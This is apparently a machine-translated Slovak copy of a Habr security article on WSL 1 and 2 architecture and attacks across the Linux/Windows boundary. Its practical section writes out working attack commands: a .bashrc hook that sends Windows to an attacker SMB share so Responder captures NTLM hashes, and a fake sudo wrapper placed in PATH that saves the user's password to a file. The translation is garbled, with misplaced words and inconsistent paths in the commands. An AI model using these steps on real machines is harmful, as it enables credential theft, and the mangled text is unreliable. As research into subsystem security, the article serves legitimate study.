Hej, Habr! OTUS spúšťa v októbri nový stream kurzov. Pred spustením kurzu sa s vami delíme o článok, ktorý napísal jeden z našich inštruktorov, Alexander Kolesnikov.

V roku 2016 spoločnosť Microsoft predstavila IT komunite novú technológiu WSL (Windows Spodsystém pre Linux), čo z dlhodobého hľadiska umožnilo zjednotenie predtým nezmieriteľných konkurentov, ktorí bojovali o popularitu medzi bežnými aj pokročilými používateľmi OS: Windows и LinuxTáto technológia umožnila používať nástroje operačného systému. Linux obkľúčený Windows bez nutnosti spustenia Linux, napríklad pomocou multi-bootu. Na Habr nájdete množstvo článkov popisujúcich výhody používania WSL. Bohužiaľ, v čase písania tohto článku sa na tomto zdroji nenašli žiadne štúdie o bezpečnosti tejto symbiózy operačných systémov. Tento príspevok je pokusom o nápravu. Článok sa bude zaoberať vlastnosťami architektúr WSL 1 a 2 a bude analyzovať niekoľko príkladov útokov na systémy využívajúce tieto technológie. Článok je rozdelený do dvoch častí. Prvá predstaví hlavné teoretické metódy útoku. Linux и WindowsDruhý článok sa bude venovať nastaveniu testovacieho prostredia a reprodukcii útokov.
WSL 1: Architektonické prvky
Pre úplné pochopenie bezpečnostných problémov WSL je potrebné identifikovať kľúčové nuansy spojené s implementáciou subsystému. Jednou z hlavných potrieb používateľov, ktoré WSL rieši, je umožnenie prístupu terminálu. Linux systémy na hostiteľovi s operačným systémom WindowsPonúkaná kompatibilita bola tiež taká natívna, že spustiteľné súbory Linux (ELF) by sa dal spustiť priamo v systéme WindowsNa dosiahnutie týchto cieľov v Windows 10 bol vytvorený špeciálny podsystém, ktorý umožňuje spúšťanie aplikácií Linux pomocou sady špecifických systémových volaní - teda bol vykonaný pokus o mapovanie sady systémových volaní Linux na WindowsFyzicky sa to implementovalo pridaním nových ovládačov a nového formátu procesov. Vizuálne architektúra vyzerala takto:

V podstate ide o interakciu s operačným systémom Linux bol organizovaný pomocou niekoľkých modulov jadra a špeciálneho typu procesu – pico. Diagram vyššie ukazuje, že proces bežiaci v inštancii Linux na hostiteľovi, musí byť natívny a musí používať rovnaké zdroje ako bežné aplikácie WindowsAle ako sa to dá dosiahnuť? V projekte boli vyvinuté procesné koncepty pre Windows, ktorý poskytoval všetky potrebné komponenty operačného systému (v závislosti od jeho verzie) na spustenie aplikácie z iného operačného systému.
Všimnite si, že navrhovaná abstrakcia umožnila nespoliehať sa na operačný systém (najmä Windows), ktorý očakáva spustenie ďalšieho procesu operačného systému, a navrhol všeobecný prístup.
Takže akákoľvek aplikácia v procese pico by mohla bežať bez ohľadu na jadro. Windows:
- Problémy s kompatibilitou a prekladom systémových volaní musia riešiť špecializovaní poskytovatelia;
- Riadenie prístupu musí byť implementované prostredníctvom Monitora zabezpečenia. Monitor sa nachádza v jadre, a preto Windows Bolo potrebné vylepšiť systém vo forme nového ovládača, ktorý by mohol slúžiť ako poskytovateľ pre takéto procesy. Prototyp pico procesu je schematicky znázornený nižšie:

Pretože súborový systém Linux používa názvy súborov a adresárov rozlišujúce malé a veľké písmená, Windows Na použitie s WSL boli pridané dva typy súborových systémov: VolFS a DriveFS. VolFS je implementácia súborového systému. LinuxDriveFS je súborový systém, ktorý funguje podľa pravidiel Windows, ale má možnosť vybrať rozlišovanie medzi malými a veľkými písmenami v názvoch.
WSL 2
WSL 1 mal množstvo obmedzení, ktoré bránili jeho použitiu na riešenie najširšej škály úloh: napríklad mu chýbala schopnosť spúšťať 32-bitové verzie. Linux Aplikácie nemohli používať ovládače zariadení. Preto bol v roku 2020 vydaný WSL 2, ktorý zmenil prístup k budovaniu subsystému. WSL 2 je optimalizovaný virtuálny stroj, ktorý zodpovedá charakteristikám spotreby zdrojov WSL 1. Teraz, v závislosti od problémov, ktoré používateľ rieši, operačný systém... Windows, môžete si vybrať požadovanú verziu podsystému, s ktorou chcete pracovať LinuxNa zmiernenie potenciálnych zraniteľností bol WSL 2 implementovaný na báze Hyper-V v... Windows 10V tejto forme Windows má schopnosť spúšťať jadro operačného systému izolovane LinuxStojí za to pripomenúť, že verzia 1 WSL bola predstavená ako beta funkcia, ktorá mala ukázať smer vývoja. Windows v tejto oblasti, takže prechod na Hyper-V bol nevyhnutný. Konečná architektúra vyzerá takto:

V tejto verzii systémové jadrá Windows и Linux Každý z nich má svoje vlastné zdroje a prekrýva sa iba v rámci súborového systému, ale toto prekrývanie nie je ani zďaleka úplné. Interakcia medzi súborovými systémami sa realizuje prostredníctvom klient-serverového obalu, ktorý funguje na protokole 9P.
Spoločnosť Microsoft v súčasnosti poskytuje možnosť prepínať medzi verziami WSL 1 a WSL 2. Obe verzie sú k dispozícii na použitie.
Zabezpečenie WSL
V súčasnosti existuje niekoľko štúdií opisujúcich prístupy k používaniu legitímnych nástrojov OS na útoky na interakcie medzi subsystémami. Použijeme ich scenáre na otestovanie relevantnosti útokov v čase písania tohto článku. Všeobecný zoznam útokov a ich scenárov:
1. Implementácia súborového systému: prístupové práva, dostupnosť zdieľaných adresárov/mechanizmov výmeny údajov.
Výskum sa uskutočnil na tému porušovania pravidiel prístupu zo strany Linux FS->Windows FS, Windows FS->Linux FSVýskum preukázal schopnosť upraviť daný súbor v cieľovom operačnom systéme. Taktiež sa uskutočnili pokusy o nahradenie, vytvorenie klonov a odstránenie častí súborových systémov.
Scenár:
- A. Útok z operačného systému Windows — úprava súborov z adresára /etc operačného systému Linux.
- B. Útok z operačného systému Linux — úprava súborov v adresároch:
C:Windows,C:Program Files,C:Users<User>
2. Implementácia sieťového zásobníka.
Výskum bol vykonaný na príkladoch útokov z operačného systému Linux na WindowsBoli zneužité prevádzkové funkcie sieťového zásobníka, konkrétne jeho mechanizmy autentifikácie pre rôzne zdroje.
Scenár:
- Otvorenie prístupu k portu, ktorý je v systéme obsadený Windows
- Otvorenie portu bez príslušných oprávnení
- Spustenie reverzného shellu pomocou súboru elf v operačnom systéme Windows.
3. Skrytie spustenia procesov škodlivého softvéru pomocou podsystému WSL.
Výskum bol založený na jednoduchom fakte: bezpečnostné podsystémy nemôžu v prípade WSL 1 zachytiť udalosti v inom jadre bežiacom pod legitímnym poskytovateľom operačného systému. V prípade WSL 2 neexistuje spôsob, ako zobraziť udalosti, ktoré sa vyskytujú v samostatnom jadre v rámci ľahkého virtuálneho stroja.
Scenár:
1) Spustite aplikáciu pre vzdialený prístup k systému a zobrazte si zaznamenané udalosti.
Experimenty WSL 1: Únos hashu (OS) Windows)
Konečne sme sa dostali k praktickej časti. Najprv musíme nastaviť testovacie prostredie. Všetky experimenty sa budú vykonávať na testovacej stolici s Windows 10 2004. Pre WSL bol vybraný obraz operačného systému Ubuntu 18.04. apríla. Obrázok bol vybraný náhodne a akýkoľvek iný bude fungovať rovnako dobre. Príkazy na nastavenie stojana:
Najprv to musíš spustiť powershell.exe v mene správcu.
Pre WSL 1 je potrebné spustiť nasledujúce príkazy:
- Povoliť-WindowsVoliteľná funkcia -Online -Názov funkcie Microsoft-Windows-Subsystém-Linux #Povoliť funkciu WSL
- Invoke-WebRequest-Uri aka.ms/wsl-ubuntu-1804
-VýstupnýSúbor ~/Ubuntu.appx -UseBasicParsing #Načítanie obrázka Linux z obchodu Microsoft Store
Po reštarte inštalácie môžete spustiť príkaz bash. Ak všetko fungovalo správne, v konzole sa zobrazí výstup podobný tomuto. Windows:

Ako útočníkov stroj použijeme distribúciu Kali. Linux, všetky počítače musia byť v rovnakej lokálnej sieti.
Predpokladajme, že máme na počítači neprivilegovaný prístup k WSL. WindowsSkúsme zaútočiť na operačný systém. Linux, volanie príkazu z LinuxNa implementáciu útoku použijeme jednoduchú techniku automatického spustenia – pridáme náš skript do prostredia. LinuxAk to chcete urobiť, musíte zmeniť súbor .bashrc.
Na počítači s WSL spustite:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitAutom Kali Linux vykonávame:
1. Responder -I eth0 -rdvwAutom Windows Spustime bash.
Čakáme na výsledky z Kali prístroja. Linux:

Takže máme hash používateľov Windows prostredníctvom podsystému WSL spustením príkazu v systéme Linux.
Experimenty WSL 1: Získanie používateľského hesla (OS) Linux)
Urobme ďalší experiment. Počas tohto testu pridáme do súboru .bashrc niekoľko príkazov na získanie hesla používateľa operačného systému Linux.
Spustíme bash a zadáme príkazy:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Aby bol útok úspešný, musí používateľ Sam v termináli spustiť príkaz sudo. LinuxPotom heslo používateľa operačného systému Linux bude v súbore pass.txt:

Implementácia útokov bola uvedená len pre teoretické informácie.
V ďalšej časti článku sa popíše implementácia protokolu 9P, zváži sa vytvorenie skenera pre tento protokol a tiež sa vykoná útok s jeho použitím.
Zoznam referencií
Čítaj viac
Zdroj: hab.com
